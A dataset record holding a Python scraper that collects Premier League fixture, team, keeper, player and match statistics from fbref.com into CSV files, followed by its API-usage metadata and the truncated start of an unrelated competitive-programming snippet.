\"progressive_passes_received\"]\n\n# Squad Miscellaneous Stats\nmisc = [\n \"cards_yellow\", \"cards_red\", \"cards_yellow_red\", \"fouls\", \"fouled\",\n \"offsides\", \"crosses\", \"interceptions\", \"tackles_won\", \"pens_won\",\n \"pens_conceded\", \"own_goals\", \"ball_recoveries\", \"aerials_won\",\n \"aerials_lost\", \"aerials_won_pct\"]\n\n\nclass FBRef:\n \"\"\"Scrape FBRef website\"\"\"\n\n def __init__(self, logger, season_data):\n \"\"\"\n Args:\n logger (logging.logger): Logging package\n season_data (int): Season\n \"\"\"\n self.root = 'data/fbref'\n if not os.path.exists(self.root):\n os.makedirs(self.root)\n\n self.logger = logger\n\n self.season = season_data['season']\n\n def get_competition_urls(self, url):\n \"\"\" Get all the links of previous EPL seasons\n\n Returns:\n (list): past url seasons\n \"\"\"\n res = requests.get(url)\n parsed_html = BeautifulSoup(res.text, 'html.parser')\n past_seasons = []\n\n for table in parsed_html.findAll('table'):\n for a in table.findAll('a'):\n if 'comps' in a['href'] and a['href'] not in past_seasons:\n past_seasons.append(a['href'])\n\n return past_seasons\n\n def get_fixtures(self):\n \"\"\" Scrape data fixture data \"\"\"\n\n for index, comp in zip(\n [\"9\", \"690\", \"514\", \"8\", \"19\"],\n [\n 'Premier-League', 'EFL-Cup', \"FA-Cup\",\n \"Champions-League\", \"Europa-League\"]):\n\n # Get links of historical competitions\n seasons = self.get_competition_urls(\n f'https://fbref.com/en/comps/{index}/history/{comp}-Seasons')\n\n self.logger.info(f\"Downloading {comp} Fixtures Data\")\n for season in seasons:\n if season.split('/')[-2] == index:\n url = (\n f'https://fbref.com/en/comps/{index}/schedule' +\n f'/{comp}-Scores-and-Fixtures')\n year = self.season\n\n else:\n url = (\n f'https://fbref.com/en/comps/{index}/' +\n season.split('/')[-2] +\n '/schedule/' +\n season.split('/')[-1][:-6] +\n '-Scores-and-Fixtures')\n year = season.split('/')[-1][:4]\n\n # Skip years with no underlying stats\n if int(year) > 2016:\n self.logger.info(f\"Season: {season}\")\n\n df = pd.read_html(url)[0]\n time_start = time.time()\n # Remove empty row\n df = df[~(df.Date.isna())]\n # Add Competition label\n df[\"Competition\"] = comp\n\n if \"Wk\" in df.columns:\n if (\n comp == \"Champions-League\" or\n comp == \"Europa-League\"):\n df = df.drop([\"Wk\"], axis=1)\n else:\n df = df.rename(columns={'Wk': \"Round\"})\n\n df = df.loc[:, [\n \"Round\", \"Day\", \"Date\", \"Time\", \"Home\", \"Score\",\n \"Away\", \"Attendance\", \"Venue\", \"Referee\",\n \"Notes\", \"Competition\"]]\n\n if os.path.isfile(os.path.join(self.root, 'fixtures.csv')):\n df.to_csv(\n os.path.join(self.root, 'fixtures.csv'),\n index=False, mode='a', header=False)\n else:\n df.to_csv(\n os.path.join(self.root, 'fixtures.csv'),\n index=False)\n\n # Wait to comply with scraping rules\n time.sleep(3 - (time.time() - time_start))\n\n # Drop dupplicates in case I run the latest season scraper to update it.\n (\n pd.read_csv(os.path.join(self.root, 'fixtures.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'fixtures.csv'), index=False))\n\n def get_team_data(self, url):\n \"\"\" Scrape each table of team data\n\n Args:\n url (string): Base link to the team stats\n\n Returns:\n (pd.DataFrame): Final data\n \"\"\"\n df, df_opp = [], []\n # URL Request\n tables = pd.read_html(url.format(table=\"\"))\n for i, table in enumerate(tables):\n if i > 1 or i == 0 :\n if i != 0 :\n table.columns = [' '.join(col).strip() if \"Unnamed\" not in col[0] else col[1] for i, col in enumerate(table.columns.values)]\n else:\n table = table.sort_values(by=['Squad']).reset_index().drop(['Rk', 'index'], 1)\n\n if not i % 2:\n df.append(table)\n else:\n df_opp.append(table)\n\n df = pd.concat(df, axis=1)\n df_opp = pd.concat(df_opp, axis=1)\n return df.loc[:, ~df.columns.duplicated()], df_opp.loc[:, ~df_opp.columns.duplicated()]\n\n def get_url(self, url):\n \"\"\" Request the url\n\n Args:\n url (string): link\n\n Returns:\n [type]: Parsed html\n \"\"\"\n attempts = 3\n while attempts:\n try:\n res = requests.get(url)\n\n if res.status_code != 200:\n raise Exception('Bad request response.')\n\n # Handle hidden table.\n comm = re.compile(\"\")\n soup = BeautifulSoup(comm.sub(\"\", res.text), 'lxml')\n return soup.findAll(\"tbody\")\n\n except:\n attempts -= 1\n if not attempts:\n self.logger.warning(\n f\"URL Request to {url} failed after 3 attempts.\")\n return None\n\n self.logger.warning(\n f'URL Request failed, retrying in 30 seconds! URL: {url}')\n time.sleep(30)\n\n time.sleep(3)\n\n def get_player_table(self, url, columns):\n \"\"\" Parse the table of outfield or keeper player data\n\n Args:\n url (string): Link\n columns (list): Column names to select\n\n Returns:\n pd.DataFrame: Data\n \"\"\"\n tables = self.get_url(url)\n player_rows = tables[2].find_all('tr')\n player_dict = dict()\n\n for row in player_rows:\n if row.find('th', {\"scope\": \"row\"}) is not None:\n player_name = (\n row.find('td', {\"data-stat\": \"player\"})\n .text.strip().encode().decode(\"utf-8\"))\n\n # Add player name\n if 'player' in player_dict:\n player_dict['player'].append(player_name)\n else:\n player_dict['player'] = [player_name]\n\n # Parse the table\n for col in columns:\n # Get the statistic\n cell = row.find(\"td\", {\"data-stat\": col})\n if cell is None:\n # Fill na\n text = 'None'\n else:\n a = cell.text.strip().encode()\n text = a.decode(\"utf-8\")\n # Fill na\n if(text == ''):\n text = '0'\n\n if (\n (col != 'player') & (col != 'nationality') &\n (col != 'position') & (col != 'squad') &\n (col != 'age') & (col != 'birth_year')):\n text = float(text.replace(',', ''))\n\n if col in player_dict:\n player_dict[col].append(text)\n else:\n player_dict[col] = [text]\n\n return pd.DataFrame.from_dict(player_dict)\n\n def get_keeper_data(self, url):\n \"\"\" Scrape each table of Goalkeeper data\n\n Args:\n url (string): Base link to the team stats\n\n Returns:\n (pd.DataFrame): Final data\n \"\"\"\n categories_name = ['keepers', 'keepersadv']\n categories_cols = [player_keepers, keepersadv]\n df = []\n for name, cols in zip(categories_name, categories_cols):\n df.append(self.get_player_table(url.format(table=name + \"/\"), cols))\n\n df = pd.concat(df, axis=1)\n return df.loc[:, ~df.columns.duplicated()]\n\n def get_player_data(self, url):\n \"\"\" Scrape each table of Outfield player data\n\n Args:\n url (string): Base link to the team stats\n\n Returns:\n (pd.DataFrame): Final data\n \"\"\"\n categories_name = [\n 'stats', 'shooting', 'passing', 'passing_types',\n 'gca', 'defense', 'possession', 'misc'\n ]\n categories_cols = [\n player_stats, player_shooting, passing, passing_types,\n gca, defense, possession, misc\n ]\n df = []\n for name, cols in zip(categories_name, categories_cols):\n df.append(self.get_player_table(url.format(table=name + \"/\"), cols))\n\n df = pd.concat(df, axis=1)\n return df.loc[:, ~df.columns.duplicated()]\n\n def get_pl_season(self, history=False):\n \"\"\" Scrape data from seasons\n\n Args:\n history (bool, optional): Scrape current. Defaults to False.\n \"\"\"\n seasons = self.get_competition_urls(\n 'https://fbref.com/en/comps/9/history/Premier-League-Seasons')\n\n if not history:\n seasons = [seasons[0]]\n\n self.logger.info(\"Downloading Season Data\")\n\n for season in seasons:\n if season.split('/')[-2] == '9':\n url = (\n 'http://fbref.com/en/comps/9/{table}' +\n season.split('/')[-1])\n year = self.season\n\n else:\n url = (\n 'https://fbref.com/en/comps/9/' +\n season.split('/')[-2] + '/{table}' +\n season.split('/')[-1])\n year = season.split('/')[-1][:4]\n\n if int(year) > 2016:\n self.logger.info(f\"Season: {season}\")\n\n df, df_opp = self.get_team_data(url)\n time_start = time.time()\n\n df.loc[:, \"season\"] = year\n df_opp.loc[:, \"season\"] = year\n if os.path.isfile(os.path.join(self.root, 'team.csv')):\n df.to_csv(\n os.path.join(self.root, 'team.csv'),\n index=False, mode='a', header=False)\n else:\n df.to_csv(\n os.path.join(self.root, 'team.csv'),\n index=False)\n if os.path.isfile(os.path.join(self.root, 'team_opp.csv')):\n df_opp.to_csv(\n os.path.join(self.root, 'team_opp.csv'),\n index=False, mode='a', header=False)\n else:\n df_opp.to_csv(\n os.path.join(self.root, 'team_opp.csv'),\n index=False)\n\n # Wait to comply with scraping rules\n time.sleep(3 - (time.time() - time_start))\n\n df = self.get_keeper_data(url)\n time_start = time.time()\n df.loc[:, \"season\"] = year\n if os.path.isfile(os.path.join(self.root, 'keeper.csv')):\n df.to_csv(\n os.path.join(self.root, 'keeper.csv'),\n index=False, mode='a', header=False)\n else:\n df.to_csv(\n os.path.join(self.root, 'keeper.csv'),\n index=False)\n \n # Wait to comply with scraping rules\n time.sleep(3 - (time.time() - time_start))\n\n df = self.get_player_data(url)\n time_start = time.time()\n df.loc[:, \"season\"] = year\n if os.path.isfile(os.path.join(self.root, 'outfield.csv')):\n df.to_csv(\n os.path.join(self.root, 'outfield.csv'),\n index=False, mode='a', header=False)\n else:\n df.to_csv(\n os.path.join(self.root, 'outfield.csv'),\n index=False)\n\n # Wait to comply with scraping rules\n time.sleep(3 - (time.time() - time_start))\n\n # Drop dupplicates in case I run the latest season scraper to update it.\n (\n pd.read_csv(os.path.join(self.root, 'outfield.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'outfield.csv'), index=False))\n (\n pd.read_csv(os.path.join(self.root, 'keeper.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'keeper.csv'), index=False))\n (\n pd.read_csv(os.path.join(self.root, 'team.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'team.csv'), index=False))\n (\n pd.read_csv(os.path.join(self.root, 'team_opp.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'team_opp.csv'), index=False))\n\n def get_games_players(self, tables):\n \"\"\" Get data about the outfielders who played\n\n Args:\n tables (list): DataFrames extracted from the url of fixture\n\n Returns:\n pd.DataFrames: Data of the fixture\n \"\"\"\n df_h = []\n df_a = []\n\n # Home player\n for i in range(3, 9):\n table = tables[i].copy()\n table.columns = [' '.join(col).strip() if i > 5 else col[1] for i, col in enumerate(table.columns.values)]\n table = table.dropna(subset=[\"Nation\"])\n table.loc[:, 'home'] = 1\n df_h.append(table)\n\n # Away player\n for i in range(10, 16):\n table = tables[i].copy()\n table.columns = [' '.join(col).strip() if i > 5 else col[1] for i, col in enumerate(table.columns.values)]\n table = table.dropna(subset=[\"Nation\"])\n table.loc[:, 'home'] = 0\n df_a.append(table)\n\n df = pd.concat(\n [pd.concat(df_h, axis=1),\n pd.concat(df_a, axis=1)])\n return df.loc[:, ~df.columns.duplicated()]\n\n def get_games_keepers(self, tables):\n \"\"\" Get data about the keepers who played\n\n Args:\n tables (list): DataFrames extracted from the url of fixture\n\n Returns:\n pd.DataFrames: Data of the fixture\n \"\"\"\n # Home keeper\n table_h = tables[9].copy()\n table_h.columns = [' '.join(col).strip() if i > 5 else col[1] for i, col in enumerate(table_h.columns.values)]\n table_h = table_h.dropna(subset=[\"Nation\"])\n table_h.loc[:, 'home'] = 1\n\n # Away keeper\n table_a = tables[16].copy()\n table_a.columns = [' '.join(col).strip() if i > 5 else col[1] for i, col in enumerate(table_a.columns.values)]\n table_a = table_a.dropna(subset=[\"Nation\"])\n table_a.loc[:, 'home'] = 0\n\n df = pd.concat([table_h, table_a])\n return df.loc[:, ~df.columns.duplicated()]\n\n def get_games_lineups(self, tables):\n \"\"\" Get data about the players who played and got subsituted\n\n Args:\n tables (list): DataFrames extracted from the url of fixture\n\n Returns:\n pd.DataFrames: Data of the fixture\n \"\"\"\n df_h = []\n df_a = []\n\n # Home roster\n starting_lineup_h = tables[0][[tables[0].columns[1]]]\n starting_lineup_h['Lineup'] = 1\n\n starting_lineup_h.loc[:11, 'Starter'] = 1\n starting_lineup_h.loc[11:, 'Benched'] = 1\n\n starting_lineup_h = starting_lineup_h.drop(11)\n starting_lineup_h = starting_lineup_h.rename(columns={tables[0].columns[1]: 'Player'})\n starting_lineup_h.loc[:, 'home'] = 1\n\n # Away roster\n starting_lineup_a = tables[1][[tables[1].columns[1]]]\n starting_lineup_a['Lineup'] = 1\n\n starting_lineup_a.loc[:11, 'Starter'] = 1\n starting_lineup_a.loc[11:, 'Benched'] = 1\n\n starting_lineup_a = starting_lineup_a.drop(11)\n starting_lineup_a = starting_lineup_a.rename(columns={tables[1].columns[1]: 'Player'})\n starting_lineup_a.loc[:, 'home'] = 0\n\n # Home minutes played & substitutions\n minutes_h = tables[3][[('Unnamed: 0_level_0', 'Player'), ('Unnamed: 5_level_0', 'Min')]]\n minutes_h.columns = minutes_h.columns.map(lambda x: x[1])\n minutes_h = minutes_h.iloc[:-1]\n\n # Away minutes played & substitutions\n minutes_a = tables[10][[('Unnamed: 0_level_0', 'Player'), ('Unnamed: 5_level_0', 'Min')]]\n minutes_a.columns = minutes_a.columns.map(lambda x: x[1])\n minutes_a = minutes_a.iloc[:-1]\n\n df_h = pd.merge(\n starting_lineup_h,\n minutes_h,\n how='outer',\n left_on='Player',\n right_on='Player'\n )\n\n df_a = pd.merge(\n starting_lineup_a,\n minutes_a,\n how='outer',\n left_on='Player',\n right_on='Player'\n )\n df = pd.concat([df_h, df_a])\n\n return df.fillna(0)\n\n def get_pl_games(self, history=False):\n \"\"\" Get every PL fixture data\n\n Args:\n history (boolean): Collect historical data\n \"\"\"\n seasons = self.get_competition_urls(\n 'https://fbref.com/en/comps/9/history/Premier-League-Seasons')\n\n if not history:\n seasons = [seasons[0]]\n\n self.logger.info(\"Downloading Match Data\")\n\n for season in seasons:\n if season.split('/')[-2] == '9':\n url = (\n 'https://fbref.com/en/comps/9/schedule/Premier-League-Scores-and-Fixtures')\n year = self.season\n\n else:\n url = (\n 'https://fbref.com/en/comps/9/' +\n season.split('/')[-2] +\n '/schedule/' +\n season.split('/')[-1][:-6] +\n '-Scores-and-Fixtures')\n year = season.split('/')[-1][:4]\n\n # Skip years with no underlying stats\n if int(year) > 2016:\n self.logger.info(f\"Season: {season}\")\n\n # URL Request\n df = (\n pd.read_html(url)[0]\n .loc[:, [\n 'Wk', 'Day', 'Date', 'Time', 'Home', 'Away',\n 'Attendance', 'Venue', 'Referee', 'Notes']]\n )\n time.sleep(3)\n\n # Remove empty row\n df = df[~df.Wk.isna()]\n # Remove upcoming games\n df = df[df.Date < datetime.now().strftime(\"%Y-%m-%d\")]\n # Save\n if os.path.isfile(os.path.join(self.root, f'games.csv')):\n df.to_csv(\n os.path.join(self.root, 'games.csv'),\n index=False, mode='a', header=False)\n else:\n df.to_csv(\n os.path.join(self.root, f'games.csv'),\n index=False)\n\n # Get urls to games\n table_rows = self.get_url(url)[0].find_all('tr')\n\n for row in tqdm(table_rows):\n # Skip blank rows, and postponed games\n if (\n row.find('th', {\"scope\": \"row\"}) is not None\n and row.find('td', {\"data-stat\": \"match_report\"}).text != \"\"\n ):\n\n # Skip upcoming games\n if 'stathead' in row.find('td', {\"data-stat\": \"match_report\"}).find('a')['href']:\n continue\n\n date = row.find('td', {\"data-stat\": \"date\"}).text\n squad_h = row.find('td', {\"data-stat\": \"squad_a\"}).text\n squad_a = row.find('td', {\"data-stat\": \"squad_b\"}).text\n\n tables = pd.read_html(\n \"https://fbref.com\" +\n row.find('td', {\"data-stat\": \"match_report\"}).find('a')['href'])\n time_start = time.time()\n\n df = self.get_games_players(tables)\n df.loc[:, 'date'] = date\n df.loc[:, 'squad_h'] = squad_h\n df.loc[:, 'squad_a'] = squad_a\n\n if os.path.isfile(os.path.join(self.root, f'games_players.csv')):\n df.to_csv(\n os.path.join(self.root, 'games_players.csv'),\n index=False, mode='a', header=False)\n else:\n df.to_csv(\n os.path.join(self.root, f'games_players.csv'),\n index=False)\n\n df = self.get_games_keepers(tables)\n df.loc[:, 'date'] = date\n df.loc[:, 'squad_h'] = squad_h\n df.loc[:, 'squad_a'] = squad_a\n\n if os.path.isfile(os.path.join(self.root, f'games_keepers.csv')):\n df.to_csv(\n os.path.join(self.root, 'games_keepers.csv'),\n index=False, mode='a', header=False)\n else:\n df.to_csv(\n os.path.join(self.root, f'games_keepers.csv'),\n index=False)\n\n df = tables[17].copy()\n df.columns = [' '.join(col).strip() if i > 6 else col[1] for i, col in enumerate(df.columns.values)]\n df = df[~df.Player.isna()]\n df.loc[:, 'date'] = date\n\n if os.path.isfile(os.path.join(self.root, f'games_shots.csv')):\n df.to_csv(\n os.path.join(self.root, 'games_shots.csv'),\n index=False, mode='a', header=False)\n else:\n df.to_csv(\n os.path.join(self.root, f'games_shots.csv'),\n index=False)\n\n df = self.get_games_lineups(tables)\n df.loc[:, 'date'] = date\n df.loc[:, 'squad_h'] = squad_h\n df.loc[:, 'squad_a'] = squad_a\n\n if os.path.isfile(os.path.join(self.root, f'games_lineup.csv')):\n df.to_csv(\n os.path.join(self.root, 'games_lineup.csv'),\n index=False, mode='a', header=False)\n else:\n df.to_csv(\n os.path.join(self.root, f'games_lineup.csv'),\n index=False)\n\n # Wait to comply with scraping rules\n time.sleep(3 - (time.time() - time_start))\n\n # Drop dupplicates in case I run the latest season scraper to update it.\n (\n pd.read_csv(os.path.join(self.root, 'games.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'games.csv'), index=False))\n \n (\n pd.read_csv(os.path.join(self.root, 'games_players.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'games_players.csv'), index=False))\n \n (\n pd.read_csv(os.path.join(self.root, 'games_keepers.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'games_keepers.csv'), index=False))\n \n (\n pd.read_csv(os.path.join(self.root, 'games_shots.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'games_shots.csv'), index=False))\n\n (\n pd.read_csv(os.path.join(self.root, 'games_lineup.csv'))\n .drop_duplicates()\n .to_csv(os.path.join(self.root, 'games_lineup.csv'), index=False))\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO, format=\"%(asctime)s - %(message)s\")\n logger: logging.Logger = logging.getLogger(__name__)\n\n with open('info.json') as stat:\n season_data = json.load(stat)\n\n fbref = FBRef(logger, season_data)\n # fbref.get_fixtures()\n\n # fbref.get_pl_season(True)\n\n fbref.get_pl_games()", "repo_name": "Fournierp/FPL", "sub_path": "scraping/fbref.py", "file_name": "fbref.py", "file_ext": "py", "file_size_in_byte": 29378, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.exists", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path", "line_number": 117, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 118, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 130, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 131, "usage_type": "call"}, {"api_name": "pandas.read_html", "line_number": 175, "usage_type": "call"}, {"api_name": "time.time", "line_number": 176, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path", "line_number": 195, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 197, "usage_type": "call"}, {"api_name": "os.path", "line_number": 197, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 201, "usage_type": "call"}, {"api_name": "os.path", "line_number": 201, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 205, "usage_type": "call"}, {"api_name": "time.time", "line_number": 205, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 209, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 209, "usage_type": "call"}, {"api_name": "os.path", "line_number": 209, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 211, "usage_type": "call"}, {"api_name": "os.path", "line_number": 211, "usage_type": "attribute"}, {"api_name": "pandas.read_html", "line_number": 224, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 237, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 238, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 253, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 259, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 260, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 272, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 274, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 327, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 327, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 344, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 368, "usage_type": "call"}, {"api_name": "time.time", "line_number": 403, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 407, "usage_type": "call"}, {"api_name": "os.path", "line_number": 407, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 407, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 409, "usage_type": "call"}, {"api_name": "os.path", "line_number": 409, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 413, "usage_type": "call"}, {"api_name": "os.path", "line_number": 413, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 415, "usage_type": "call"}, {"api_name": "os.path", "line_number": 415, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 415, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 417, "usage_type": "call"}, {"api_name": "os.path", "line_number": 417, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 421, "usage_type": "call"}, {"api_name": "os.path", "line_number": 421, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 425, "usage_type": "call"}, {"api_name": "time.time", "line_number": 425, "usage_type": "call"}, {"api_name": "time.time", "line_number": 428, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 430, "usage_type": "call"}, {"api_name": "os.path", "line_number": 430, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 430, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 432, "usage_type": "call"}, {"api_name": "os.path", "line_number": 432, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 436, "usage_type": "call"}, {"api_name": "os.path", "line_number": 436, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 440, "usage_type": "call"}, {"api_name": "time.time", "line_number": 440, "usage_type": "call"}, {"api_name": "time.time", "line_number": 443, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 445, "usage_type": "call"}, {"api_name": "os.path", "line_number": 445, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 445, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 447, "usage_type": "call"}, {"api_name": "os.path", "line_number": 447, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 451, "usage_type": "call"}, {"api_name": "os.path", "line_number": 451, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 455, "usage_type": "call"}, {"api_name": "time.time", "line_number": 455, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 459, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 459, "usage_type": "call"}, {"api_name": "os.path", "line_number": 459, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 461, "usage_type": "call"}, {"api_name": "os.path", "line_number": 461, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 463, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 463, "usage_type": "call"}, {"api_name": "os.path", "line_number": 463, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 465, "usage_type": "call"}, {"api_name": "os.path", "line_number": 465, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 467, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 467, "usage_type": "call"}, {"api_name": "os.path", "line_number": 467, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 469, "usage_type": "call"}, {"api_name": "os.path", "line_number": 469, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 471, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 471, "usage_type": "call"}, {"api_name": "os.path", "line_number": 471, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 473, "usage_type": "call"}, {"api_name": "os.path", "line_number": 473, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 503, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 504, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 505, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 529, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 576, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 584, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 591, "usage_type": "call"}, {"api_name": "pandas.read_html", "line_number": 630, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 635, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 640, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 640, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 642, "usage_type": "call"}, {"api_name": "os.path", "line_number": 642, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 642, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 644, "usage_type": "call"}, {"api_name": "os.path", "line_number": 644, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 648, "usage_type": "call"}, {"api_name": "os.path", "line_number": 648, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 654, "usage_type": "call"}, {"api_name": "pandas.read_html", "line_number": 669, "usage_type": "call"}, {"api_name": "time.time", "line_number": 672, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 679, "usage_type": "call"}, {"api_name": "os.path", "line_number": 679, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 679, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 681, "usage_type": "call"}, {"api_name": "os.path", "line_number": 681, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 685, "usage_type": "call"}, {"api_name": "os.path", "line_number": 685, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 693, "usage_type": "call"}, {"api_name": "os.path", "line_number": 693, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 693, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 695, "usage_type": "call"}, {"api_name": "os.path", "line_number": 695, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 699, "usage_type": "call"}, {"api_name": "os.path", "line_number": 699, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 707, "usage_type": "call"}, {"api_name": "os.path", "line_number": 707, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 707, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 709, "usage_type": "call"}, {"api_name": "os.path", "line_number": 709, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 713, "usage_type": "call"}, {"api_name": "os.path", "line_number": 713, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 721, "usage_type": "call"}, {"api_name": "os.path", "line_number": 721, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 721, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 723, "usage_type": "call"}, {"api_name": "os.path", "line_number": 723, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 727, "usage_type": "call"}, {"api_name": "os.path", "line_number": 727, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 731, "usage_type": "call"}, {"api_name": "time.time", "line_number": 731, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 735, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 735, "usage_type": "call"}, {"api_name": "os.path", "line_number": 735, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 737, "usage_type": "call"}, {"api_name": "os.path", "line_number": 737, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 740, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 740, "usage_type": "call"}, {"api_name": "os.path", "line_number": 740, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 742, "usage_type": "call"}, {"api_name": "os.path", "line_number": 742, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 745, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 745, "usage_type": "call"}, {"api_name": "os.path", "line_number": 745, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 747, "usage_type": "call"}, {"api_name": "os.path", "line_number": 747, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 750, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 750, "usage_type": "call"}, {"api_name": "os.path", "line_number": 750, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 752, "usage_type": "call"}, {"api_name": "os.path", "line_number": 752, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 755, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 755, "usage_type": "call"}, {"api_name": "os.path", "line_number": 755, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 757, "usage_type": "call"}, {"api_name": "os.path", "line_number": 757, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 761, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 761, "usage_type": "attribute"}, {"api_name": "logging.Logger", "line_number": 762, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 762, "usage_type": "call"}, {"api_name": "json.load", "line_number": 765, "usage_type": "call"}]} {"seq_id": "71142978790", "text": "from collections import defaultdict\r\nimport sys\r\ninput = sys.stdin.readline \r\nfrom bisect import bisect\r\n\r\nn, x = map(int, input().split())\r\narr = list(map(int, input().split()))\r\n\r\narr = [[v, i] for i, v in enumerate(arr)]\r\narr.sort()\r\narr_v = [arr[i][0] for i in range(n)]\r\n\r\ndef solve(arr, arr_v, n, x):\r\n d = defaultdict(list)\r\n for i in 